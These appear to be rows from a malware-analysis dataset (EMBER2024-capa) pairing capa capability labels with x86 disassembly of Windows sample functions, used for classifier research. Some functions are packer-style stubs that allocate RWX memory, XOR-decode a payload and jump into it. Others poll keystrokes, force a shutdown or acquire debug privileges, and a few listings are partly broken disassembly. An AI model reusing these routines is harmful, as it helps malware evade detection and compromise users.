joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4396e8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x44d7d8
cmp dword [edi], 0
jne 0x439764
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x44d7d4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44c8ac
mov ecx, 2
call fcn.00402834
mov edx, 0x4396c0
lea eax, [esi + 5]
call fcn.004396e0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004396e0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x439739
mov dword [0x44d7d4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x439888
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4398d8]
test si, 4
je 0x43989c
or bl, 1
test si, 8
je 0x4398a6
or bl, 4
test si, 1
je 0x4398b0
or bl, 8
test si, 2
je 0x4398ba
or bl, 0x10
test si, 0x10
je 0x4398c4
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4398d3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4398dc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x439914]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4398f5
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x439904
or bl, 4
test esi, 0x20000000
je 0x43990f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x440904
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44091b
add esp, 0xfffffff0
call fcn.00403060
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00413bd4
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40db00]
call fcn.00402d4c
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x40db00]
call fcn.00402d4c
mov dword [ebx + 0x90], eax
xor eax, eax
mov dword [ebx + 0x48], eax
xor eax, eax
mov dword [ebx + 0x6c], eax
mov dword [ebx + 0x44], 0x80000018
mov dword [ebx + 0x60], 0x1f4
mov byte [ebx + 0x64], 1
xor eax, eax
mov dword [ebx + 0x68], eax
mov dword [ebx + 0x5c], 0x9c4
mov byte [ebx + 0x70], 0
mov byte [ebx + 0x85], 1
mov dl, 1
mov eax, dword [0x415988]
call fcn.0041cd88
mov esi, eax
mov dword [ebx + 0x80], esi
push 0x440a8c
mov eax, dword [0x44cc88]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0041d12c
mov eax, dword [ebx + 0x80]
mov dword [eax + 8], ebx
mov dword [eax + 4], 0x442370
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x44cc88]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call 0x40b540
test eax, eax
je 0x440a0b
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004080c0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040b568
test eax, eax
je 0x440a1f
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x74]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403b40
mov eax, dword [0x44cb7c]
cmp byte [eax], 0
jne 0x440a50
mov eax, ebx
call fcn.00440b78
mov byte [ebx + 0x41], 1
mov byte [ebx + 0x42], 1
mov byte [ebx + 0x43], 1
mov byte [ebx + 0x86], 1
xor eax, eax
mov dword [ebx + 0x88], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x440a82
call fcn.004030b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x440dd4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x44d7a8]
cmp dword [eax + 0x24], 0
je 0x440e64
cmp dword [ebx + 0x7c], 0
jne 0x440e61
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x440d68
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x78]
cmp dword [eax + 8], 0
je 0x440e61
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x440e30
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x78]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x440e61
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x78]
call fcn.0040f124
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x440e3c
inc dword [ebx + 0x7c]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x10007baf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10007bbe
pop dword [ebp - 0x34]
mov eax, 0x9feaaffc
sub eax, 0x8fea343e
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x4c5eebc9
sub dword [ebp - 0x44], 0xfe0ca67e
mov dword [ebp - 0x40], 0x3d01102a
add dword [ebp - 0x40], 0xf5323c1b
mov dword [ebp - 0x3c], 0x709940b
sub dword [ebp - 0x3c], 0xbabd4fdd
mov dword [ebp - 0x38], 0x70e60f62
add dword [ebp - 0x38], 0x8f19f09e
lea eax, [ebp - 0x44]
push eax
mov eax, 0x4a560935
sub eax, 0x3a5588e9
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xe674faa3
add dword [ebp - 0x44], 0x8dfd6eb3
mov dword [ebp - 0x40], 0xec67065a
sub dword [ebp - 0x40], 0xaafaa4e5
mov dword [ebp - 0x3c], 0xa2079b89
add dword [ebp - 0x3c], 0xc167d0e3
mov dword [ebp - 0x38], 0x1d41507c
add dword [ebp - 0x38], 0xe2beaf84
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x49c650af
add eax, 0xc63a2f99
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3876a
push 0
call eax
mov ecx, 0x9fde8cfd
add ecx, 0x6021c232
mov ebx, eax
mov edx, 0x1000fa00
add edx, dword [ebp - 0x34]
mov edi, 0x74467a12
sub edi, 0x80e0cd95
xor dword [ebp - 0xc], ebx
mov esi, dword [edx]
xor dword [ebp - 0xc], 0x68084c78
sub esi, edi
xor dword [ebp - 0x10], 0x18901801
mov dword [ebx], esi
xor dword [ebp - 0x14], ecx
add ebx, 4
add edx, 4
loop 0x10007cda
add eax, 0xfbd29d17
sub eax, 0xfbd16d88
xor ebx, ebx
add ebx, eax
add eax, 0xe88421f2
sub eax, 0xe88421ed
mov ecx, 0x18e8c69a
sub ecx, 0x8e8c69a
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x1001b42
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1001b6e
xor esi, esi
push esi
push 0x10
push esi
push esi
push 0x4f5
jmp 0x1001bc5
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push 0x10012e8
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
push esi
jne 0x1001baf
push 0x10
push esi
push esi
push 0x4f6
jmp 0x1001bc5
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1001bcf
push esi
push 0x10
push esi
push esi
push 0x4f7
push esi
call fcn.01003c23
xor eax, eax
jmp 0x1001bd2
push 1
pop eax
pop esi
leave
ret

Function at 0x10020cc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
lea eax, [ebp - 0x104]
push 0x104
push eax
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1002129
lea eax, [ebp - 0x104]
push 0x1001324
push eax
call fcn.010059ea
lea eax, [ebp - 0x104]
push 0x40
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov esi, eax
cmp esi, 0xffffffff
je 0x1002129
push 2
push edi
push esi
call dword [sym.imp.KERNEL32.dll__llseek]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll__lclose]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x100212f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1002178
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x100216f
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop esi
leave
ret 8

Function at 0x1002180
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 8]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10021cd
push esi
push esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10021c4
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
pop esi
leave
ret 4
Function at 0x1002222
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100223f
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x1002242
and eax, 0x10
ret 4

Function at 0x1002374
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
and byte [edi], 0
cmp byte [esi], 0x23
jne 0x1002440
movsx eax, byte [esi + 1]
inc esi
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
push esi
mov esi, dword [sym.imp.USER32.dll_CharNextA]
mov bl, al
call esi
push eax
call esi
cmp bl, 0x53
mov esi, eax
je 0x1002440
cmp bl, 0x57
je 0x1002434
lea eax, [ebp - 0x108]
push 0x1001334
push eax
mov dword [ebp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.010059ea
lea eax, [ebp + 0xc]
push eax
push 0x20019
lea eax, [ebp - 0x108]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100244a
lea eax, [ebp + 8]
push eax
push edi
push 0
push 0
push 0x10012c4
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002429
mov dword [ebp - 4], 1
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100244a
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x100244a
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [ebp - 4], 0
jne 0x1002457
push esi
push edi
call fcn.010059ea
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1003c23
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.010027c4
imul eax, dword [edx + eax*2 - 0x5e], 0xf8d4858d
invalid
Function at 0x10049d7
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get common file path
Get file attributes

Disassembly:
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.010027c4
daa
not dword fs:[edi + edi*8 + 0x75]
or bh, bh
jne 0x10049fa
push dword [ebp]
call fcn.01002fc4
add byte [ecx], al
add esp, 0xc
push dword [esp + 0x118]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x10]
push eax
push esi
call fcn.010059ea
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, 0xffffffff
je 0x1004a3f
invalid
cmp edi, 0x190
jl 0x10049ec
jmp 0x1004a52
xor ebp, ebp
push ebp
push esi
call ebx
test eax, eax
je 0x1004a52
push 1
pop ebp
mov dword [0x100aaa0], ebp
test ebp, ebp
jne 0x1004a7d
push esi
push ebp
push 0x100146c
push dword [esp + 0x124]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1004a7d
push 1
pop ebp
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push esi
call ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 8

Function at 0x1004a8c
Capabilities:
Create directory
Delete directory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
je 0x1004b19
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 8]
call fcn.010049d7
test eax, eax
je 0x1004b76
lea eax, [ebp - 0x128]
mov esi, 0x100ae84
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
test byte [0x100b6d4], 0x20
je 0x1004b0c
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x24]
sub eax, ebx
je 0x1004b01
dec eax
je 0x1004afa
dec eax
je 0x1004af3
dec eax
jne 0x1004b0c
push 0x1001494
jmp 0x1004b06
push 0x100148c
jmp 0x1004b06
push 0x1001484
jmp 0x1004b06
push 0x100147c
push esi
call fcn.010059ea
push 0x10012c4
push esi
call fcn.010059ea
jmp 0x1004b28
push dword [ebp + 8]
mov esi, 0x100ae84
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call fcn.01004e71
test eax, eax
jne 0x1004b48
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1004b7e
mov dword [0x100aaa0], 1
push ebx
push dword [ebp + 0x10]
push esi
call fcn.01004f10
test eax, eax
je 0x1004b61
push 1
mov dword [0x100b704], ebx
pop eax
jmp 0x1004b78
cmp dword [0x100aaa0], ebx
je 0x1004b76
push esi
mov dword [0x100aaa0], ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
pop esi
pop ebx
leave
ret 0xc
call fcn.010056b9
mov dword [0x100b704], eax
jmp 0x1004b76
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40611c
pop dword [ebp - 0x48]
mov eax, 0x909ad49e
add eax, 0x6fa58c7e
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x1c917b8b
sub dword [ebp - 0x58], 0xce3f3640
mov dword [ebp - 0x54], 0x91dcba3f
add dword [ebp - 0x54], 0xa0569206
mov dword [ebp - 0x50], 0x7e7cd9ff
sub dword [ebp - 0x50], 0x323095d1
mov dword [ebp - 0x4c], 0xb815cd22
add dword [ebp - 0x4c], 0x47ea32de
lea eax, [ebp - 0x58]
push eax
mov eax, 0x5d81e0b8
sub eax, 0x5d417058
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x47b1087
add dword [ebp - 0x58], 0x6ff758cf
mov dword [ebp - 0x54], 0x391e54c0
sub dword [ebp - 0x54], 0xf7b1f34b
mov dword [ebp - 0x50], 0xa5508696
sub dword [ebp - 0x50], 0x41e11a2a
mov dword [ebp - 0x4c], 0x9b725f61
sub dword [ebp - 0x4c], 0x9b725f61
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x82403ff5
sub eax, 0x81ffcef5
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3afbf
push 0
call eax
mov ecx, 0x97fbf14e
add ecx, 0x68046833
mov ebx, eax
mov esi, 0x8d8c910f
sub esi, 0x8d4b910f
add esi, dword [ebp - 0x48]
mov edx, 0x837f29ab
sub edx, 0x35c17c94
xor dword [ebp - 0x38], ecx
mov edi, dword [esi]
xor dword [ebp - 0xc], eax
add edi, edx
add dword [ebp - 0x24], eax
mov dword [ebx], edi
xor dword [ebp - 0x18], eax
add ebx, 0xcf0dda1c
sub ebx, 0xcf0dda18
add esi, 0x486e4a27
add esi, 0xb791b5dd
loop 0x40623e
add eax, 0x8371b01b
sub eax, 0x83705744
mov ebx, eax
add eax, 5
mov ecx, 0x8f0b8eb8
sub ecx, 0x8ecb8eb8
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000f197
pop dword [ebp - 0x20]
mov eax, 0x1000f197
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3a515
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x94545b7
add ecx, 0xf6bb073c
xor edx, edx
add edx, eax
mov esi, 0x10018600
add esi, dword [ebp - 0x20]
mov ebx, 0xc91d6266
sub ebx, 0x21bfc7a1
mov edi, dword [esi]
xor dword [ebp - 0xc], ebx
xor edi, ebx
add dword [ebp - 4], esi
mov dword [edx], edi
sub dword [ebp - 0x1c], 0xff087573
add edx, 4
add esi, 0x10b478d
sub esi, 0x10b4789
loop 0x1000f1e8
add eax, 0x9cb10d55
sub eax, 0x9cafe6b6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x4155de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x4155ed
pop dword [ebp - 0x38]
mov eax, 0x8a957c9c
sub eax, 0x8a5426af
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x3bcae
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x3d3f
mov ebx, eax
mov esi, 0x47d5c446
add esi, 0xb86d9bba
add esi, dword [ebp - 0x38]
mov edx, 0xb32dceac
add edx, 0x2c3e7fd5
add dword [ebp - 4], ebx
mov edi, dword [esi]
xor dword [ebp - 4], edi
xor edi, edx
sub dword [ebp - 0x2c], ebx
mov dword [ebx], edi
sub dword [ebp - 0x20], 0xfb8d814c
add ebx, 4
add esi, 0x67c94c60
add esi, 0x9836b3a4
loop 0x415641
add eax, 0xec79d852
sub eax, 0xec78f083
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x821f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x8369fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x822002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00825dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x822002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.0081d6e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0082620b
push 0x10
call fcn.008261d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x821fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.008121c0
jmp 0x821fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00821b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x821ff0
mov ecx, edi
call fcn.008122c0
push edi
call fcn.008261c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x822021
inc ebx
cmp ebx, 0x20
jb 0x821f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x8251b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00825140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00825140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00825140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00825140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x825bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x825c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x83787c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x825c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x825c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x1002918
Capabilities:
Check os version
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x100400c]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
xor eax, eax
cmp dword [0x1004010], eax
push esi
push edi
mov dword [ebp - 0x218], eax
je 0x1002972
push 0x1004020
mov dword [0x1004010], eax
mov dword [0x1004020], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1002972
mov dword [0x1004030], 1
cmp dword [0x1004030], 2
jne 0x1002a87
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, 0x104
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001ef0
call edi
test eax, eax
je 0x10029bb
push 0x1001ee0
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
cmp dword [0x1004024], 5
jb 0x10029f5
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001e94
call edi
test eax, eax
je 0x10029f5
push 0x1001ed0
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001ec4
call edi
test eax, eax
je 0x1002a5b
push 0x1001eb4
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
je 0x1002a5b
mov dword [ebp - 0x218], 1
lea ebx, [ebp - 0x214]
push dword [ebp + 0x10]
push ebx
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x218]
pop edi
pop esi
pop ebx
call fcn.01002753
leave
ret 0xc
push 5
lea eax, [ebp - 0xc]
push eax
push 0x1001e88
call edi
test eax, eax
je 0x1002a87
push 0x1001ea4
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.0100286b
test eax, eax
jne 0x1002a26
cmp dword [ebp - 0x21c], ebx
je 0x1002a46
jmp 0x1002a36

Function at 0x10160a6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add edi, dword [edx + 0x1c]
add esi, dword [edx + 0x24]
push ebx
lea esi, [esi + ecx*2]
movzx eax, word [esi]
jmp 0x1016059
ret
lodsd eax, dword [esi]
inc ecx
cmp ecx, dword [edx + 0x18]
lea edi, [eax + ebx]
jmp 0x10160db
movzx eax, byte [edi]
lea edi, [edi + 1]
sub dword [esp], eax
cmp byte [edi], 1
jmp 0x1016141
pop esi
add esi, dword [edi + eax*4]
ret 4
add eax, dword [ebx + 0x3c]
add edx, dword [eax + 0x78]
push 0xffffffffffffffff
add esi, dword [edx + 0x20]
pop ecx
jmp 0x1015fec
mov edx, ebx
mov esi, ebx
mov eax, ebx
jmp 0x1016080
je 0x1015fb7
push 0
pop eax
imul eax, eax, 0xf
push eax
jmp 0x1016010
jne 0x1015fec
lea edi, [ebx]
lea esi, [ebx]
jmp 0x101148a
pop eax
ja 0x10160e4
xor eax, 0x7d2c2236
sbb eax, dword [esp + 4]
jmp 0x1016132